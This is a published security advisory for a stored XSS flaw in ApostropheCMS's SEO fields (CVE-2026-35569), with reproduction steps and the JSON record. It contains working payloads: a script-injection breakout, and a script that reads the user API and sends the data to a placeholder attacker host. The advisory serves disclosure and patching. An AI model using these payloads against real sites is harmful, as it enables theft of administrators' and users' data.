GHSA-855C-R2VQ-C292

Vulnerability from github – Published: 2026-04-16 20:44 – Updated: 2026-04-16 20:44
VLAI?
Summary
Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS
Details

Summary

A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.

Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.

Affected Version

ApostropheCMS (tested on version: v4.28.0)

Vulnerability Details

User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:

  • <title>
  • <meta> attributes
  • structured data (JSON-LD)

This allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.

PoC 1

The following payload demonstrates breaking out of HTML context:

"></title><script>alert(1)</script>

This confirms: - Improper output encoding - Ability to escape <title> / <meta> contexts - Arbitrary script execution

PoC 2

This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.

"></title><script>
fetch('/api/v1/@apostrophecms/user', {
  credentials:'include'
})
.then(r=>r.text())
.then(d=>{
  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>

Video Proof of Concept

Watch the following YouTube video for a full demonstration of the exploit:

PoC Video: https://youtu.be/FZuulua_pa8

Steps to Reproduce

  1. Start a local listener: python3 -m http.server 5656
  2. Login to ApostropheCMS as an authenticated user
  3. Create or edit a page
  4. Navigate to SEO settings
  5. Insert the payload into the SEO Title field and Meta Description
"></title><script>
fetch('/api/v1/@apostrophecms/user',{
  credentials:'include'
})
.then(r=>r.text())
.then(d=>{
  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>
  1. Set Schema Type to "Web page"
  2. Save and publish the page
  3. Have an administrator visit the page

Result

  • The payload executes in the admin’s browser
  • The script sends a request to: /api/v1/@apostrophecms/user
  • The response contains sensitive user data:
  • usernames
  • email addresses
  • roles (including admin)

  • The data is exfiltrated to the attacker-controlled server:

  • http://ATTACKER-IP:5656

Evidence

  • The attacker server receives:
  • GET /?data=BASE64_ENCODED_RESPONSE
  • Decoding the response reveals sensitive application data.

Security Impact

This vulnerability allows an attacker to: - Execute arbitrary JavaScript in an authenticated admin context - Perform authenticated API requests (session riding) - Access sensitive application data via internal APIs - Exfiltrate sensitive data to an external attacker-controlled server

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.28.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "apostrophe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35569"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T20:44:18Z",
    "nvd_published_at": "2026-04-15T20:16:36Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.\n\nImproper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.\n\n## Affected Version\nApostropheCMS (tested on version: v4.28.0)\n\n## Vulnerability Details\nUser-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:\n\n- `\u003ctitle\u003e`\n- `\u003cmeta\u003e` attributes\n- structured data (JSON-LD)\n\nThis allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.\n\n\n\n## PoC 1\n\n**The following payload demonstrates breaking out of HTML context:**\n```javascript\n\"\u003e\u003c/title\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\n```\nThis confirms:\n  - Improper output encoding\n  - Ability to escape `\u003ctitle\u003e / \u003cmeta\u003e` contexts\n  - Arbitrary script execution\n\n## PoC 2\n**This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.**\n```javascript\n\"\u003e\u003c/title\u003e\u003cscript\u003e\nfetch(\u0027/api/v1/@apostrophecms/user\u0027, {\n  credentials:\u0027include\u0027\n})\n.then(r=\u003er.text())\n.then(d=\u003e{\n  fetch(\u0027http://ATTACKER-IP:5656/?data=\u0027+btoa(d))\n})\n\u003c/script\u003e\n```\n\n\n## Video Proof of Concept\n\nWatch the following YouTube video for a full demonstration of the exploit:\n\n**PoC Video:** https://youtu.be/FZuulua_pa8\n\n\n## Steps to Reproduce\n\n1. Start a local listener: `python3 -m http.server 5656`\n2. Login to ApostropheCMS as an authenticated user\n3.  Create or edit a page\n4.  Navigate to SEO settings\n5.  Insert the payload into the SEO Title field  and  Meta Description\n```javascript\n\"\u003e\u003c/title\u003e\u003cscript\u003e\nfetch(\u0027/api/v1/@apostrophecms/user\u0027,{\n  credentials:\u0027include\u0027\n})\n.then(r=\u003er.text())\n.then(d=\u003e{\n  fetch(\u0027http://ATTACKER-IP:5656/?data=\u0027+btoa(d))\n})\n\u003c/script\u003e\n```\n6.  Set **Schema Type** to \"Web page\"\n7.  Save and publish the page\n8.  Have an administrator visit the page\n\n\n## Result\n- The payload executes in the admin\u2019s browser\n- The script sends a request to: `/api/v1/@apostrophecms/user`\n- The response contains sensitive user data:\n  - usernames\n  - email addresses\n  - roles (including admin)\n\n- The data is exfiltrated to the attacker-controlled server:\n  - `http://ATTACKER-IP:5656`\n\n## Evidence\n- The attacker server receives:\n  - `GET /?data=BASE64_ENCODED_RESPONSE`\n- Decoding the response reveals sensitive application data.\n\n## Security Impact\nThis vulnerability allows an attacker to:\n  - Execute arbitrary JavaScript in an authenticated admin context\n  - Perform authenticated API requests (session riding)\n  - Access sensitive application data via internal APIs\n  - Exfiltrate sensitive data to an external attacker-controlled server",
  "id": "GHSA-855c-r2vq-c292",
  "modified": "2026-04-16T20:44:18Z",
  "published": "2026-04-16T20:44:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-855c-r2vq-c292"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35569"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…